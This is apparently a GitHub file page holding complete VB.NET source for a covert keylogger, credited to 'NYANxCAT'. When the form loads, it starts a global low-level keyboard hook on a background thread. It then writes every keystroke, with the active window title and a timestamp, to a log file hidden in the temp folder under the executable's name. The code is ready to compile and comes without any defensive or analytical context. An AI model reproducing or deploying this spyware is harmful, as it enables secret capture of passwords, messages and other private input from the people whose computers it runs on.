-
Notifications
You must be signed in to change notification settings - Fork 1
/
Logger
181 lines (158 loc) · 7.79 KB
/
Logger
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
'Thanks NYANxCAT
'Form1/Main:
Dim s As String = New IO.FileInfo(Application.ExecutablePath).Name
Dim loggerPath As String = IO.Path.GetTempPath & "\" & s & ".log"
Public PcUsername As String = Environment.UserName
Dim LoggerThread As Thread = New Thread(AddressOf Logger.Start, 1)
Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
LoggerThread.Start()
End Sub
'Module Logger.vb:
Imports System.IO
Imports System.Text
Imports System.Runtime.InteropServices
Module Logger
Private s As String = New IO.FileInfo(Application.ExecutablePath).Name
Private ReadOnly loggerPath As String = IO.Path.GetTempPath & "\" & s & ".log"
Private CurrentActiveWindowTitle As String
Function Start()
_hookID = SetHook(_proc)
Application.Run()
Return True
End Function
Private Function SetHook(ByVal proc As LowLevelKeyboardProc) As IntPtr
Using curProcess As Process = Process.GetCurrentProcess()
Return SetWindowsHookEx(WHKEYBOARDLL, proc, GetModuleHandle(curProcess.ProcessName), 0)
End Using
End Function
Private Function HookCallback(ByVal nCode As Integer, ByVal wParam As IntPtr, ByVal lParam As IntPtr) As IntPtr
If nCode >= 0 AndAlso wParam = CType(WM_KEYDOWN, IntPtr) Then
Dim vkCode As Integer = Marshal.ReadInt32(lParam)
Dim capsLock As Boolean = (GetKeyState(&H14) And &HFFFF) <> 0
Dim shiftPress As Boolean = (GetKeyState(&HA0) And &H8000) <> 0 OrElse (GetKeyState(&HA1) And &H8000) <> 0
Dim currentKey As String = KeyboardLayout(CUInt(vkCode))
If capsLock OrElse shiftPress Then
currentKey = currentKey.ToUpper()
Else
currentKey = currentKey.ToLower()
End If
If CType(vkCode, Keys) >= Keys.F1 AndAlso CType(vkCode, Keys) <= Keys.F24 Then
currentKey = "[" & CType(vkCode, Keys) & "]"
Else
Select Case (CType(vkCode, Keys)).ToString()
Case "Space"
currentKey = "<span class=""k"">[SPACE]</span>"
Case "Return"
currentKey = "<span class=""k"">[ENTER]</span>"
Case "Escape"
currentKey = "<span class=""k"">[ESC]</span>"
Case "LControlKey"
currentKey = "<span class=""k"">[CTRL]</span>"
Case "RControlKey"
currentKey = "<span class=""k"">[CTRL]</span>"
Case "RShiftKey"
currentKey = "<span class=""k"">[Shift]</span>"
Case "LShiftKey"
currentKey = "<span class=""k"">[Shift]</span>"
Case "Back"
currentKey = "<span class=""k"">[Back]</span>"
Case "LWin"
currentKey = "<span class=""k"">[WIN]</span>"
Case "Tab"
currentKey = "<span class=""k"">[Tab]</span>"
Case "Capital"
If capsLock = True Then
currentKey = "<span class=""k"">[CAPSLOCK: OFF]</span>"
Else
currentKey = "<span class=""k"">[CAPSLOCK: ON]</span>"
End If
End Select
End If
Using sw As StreamWriter = New StreamWriter(loggerPath, True)
If CurrentActiveWindowTitle = GetActiveWindowTitle() Then
sw.Write(currentKey)
Else
sw.WriteLine(Environment.NewLine)
sw.WriteLine("### { " & HM() & " - " & GetActiveWindowTitle() & " } ###")
sw.Write(currentKey)
End If
End Using
End If
Return CallNextHookEx(_hookID, nCode, wParam, lParam)
End Function
Public Clock As New Microsoft.VisualBasic.Devices.Clock
Private Function HM() As String
Try
Return Clock.LocalTime.ToString("dd/MM/yy HH:mm tt")
Catch
Return "??/??/??"
End Try
End Function
Private Function KeyboardLayout(ByVal vkCode As UInteger) As String
Dim processId As UInteger = Nothing
Try
Dim sb As StringBuilder = New StringBuilder()
Dim vkBuffer As Byte() = New Byte(255) {}
If Not GetKeyboardState(vkBuffer) Then Return ""
Dim scanCode As UInteger = MapVirtualKey(vkCode, 0)
Dim keyboardLayouty As IntPtr = GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow(), processId))
ToUnicodeEx(vkCode, scanCode, vkBuffer, sb, 5, 0, keyboardLayouty)
Return sb.ToString()
Catch
End Try
Return (CType(vkCode, Keys)).ToString()
End Function
Private Function GetActiveWindowTitle() As String
Dim pid As UInteger = Nothing
Try
Dim hwnd As IntPtr = GetForegroundWindow()
GetWindowThreadProcessId(hwnd, pid)
Dim p As Process = Process.GetProcessById(CInt(pid))
Dim title As String = p.MainWindowTitle
If String.IsNullOrEmpty(title) Then title = p.ProcessName
CurrentActiveWindowTitle = title
Return title
Catch __unusedException1__ As Exception
Return "???"
End Try
End Function
Private Const WM_KEYDOWN As Integer = &H100
Private _proc As LowLevelKeyboardProc = AddressOf HookCallback
Private _hookID As IntPtr = IntPtr.Zero
<DllImport("user32.dll", CharSet:=CharSet.Auto, SetLastError:=True)>
Private Function SetWindowsHookEx(ByVal idHook As Integer, ByVal lpfn As LowLevelKeyboardProc, ByVal hMod As IntPtr, ByVal dwThreadId As UInteger) As IntPtr
End Function
<DllImport("user32.dll", CharSet:=CharSet.Auto, SetLastError:=True)>
Private Function UnhookWindowsHookEx(ByVal hhk As IntPtr) As <MarshalAs(UnmanagedType.Bool)> Boolean
End Function
<DllImport("user32.dll", CharSet:=CharSet.Auto, SetLastError:=True)>
Private Function CallNextHookEx(ByVal hhk As IntPtr, ByVal nCode As Integer, ByVal wParam As IntPtr, ByVal lParam As IntPtr) As IntPtr
End Function
<DllImport("kernel32.dll", CharSet:=CharSet.Auto, SetLastError:=True)>
Private Function GetModuleHandle(ByVal lpModuleName As String) As IntPtr
End Function
Private WHKEYBOARDLL As Integer = 13
Private Delegate Function LowLevelKeyboardProc(ByVal nCode As Integer, ByVal wParam As IntPtr, ByVal lParam As IntPtr) As IntPtr
<DllImport("user32.dll")>
Private Function GetForegroundWindow() As IntPtr
End Function
<DllImport("user32.dll", SetLastError:=True)>
Private Function GetWindowThreadProcessId(ByVal hWnd As IntPtr, <Out> ByRef lpdwProcessId As UInteger) As UInteger
End Function
<DllImport("user32.dll", CharSet:=CharSet.Auto, ExactSpelling:=True, CallingConvention:=CallingConvention.Winapi)>
Function GetKeyState(ByVal keyCode As Integer) As Short
End Function
<DllImport("user32.dll", SetLastError:=True)>
Private Function GetKeyboardState(ByVal lpKeyState As Byte()) As <MarshalAs(UnmanagedType.Bool)> Boolean
End Function
<DllImport("user32.dll")>
Private Function GetKeyboardLayout(ByVal idThread As UInteger) As IntPtr
End Function
<DllImport("user32.dll")>
Private Function ToUnicodeEx(ByVal wVirtKey As UInteger, ByVal wScanCode As UInteger, ByVal lpKeyState As Byte(),
<Out, MarshalAs(UnmanagedType.LPWStr)> ByVal pwszBuff As StringBuilder, ByVal cchBuff As Integer, ByVal wFlags As UInteger, ByVal dwhkl As IntPtr) As Integer
End Function
<DllImport("user32.dll")>
Private Function MapVirtualKey(ByVal uCode As UInteger, ByVal uMapType As UInteger) As UInteger
End Function
End Module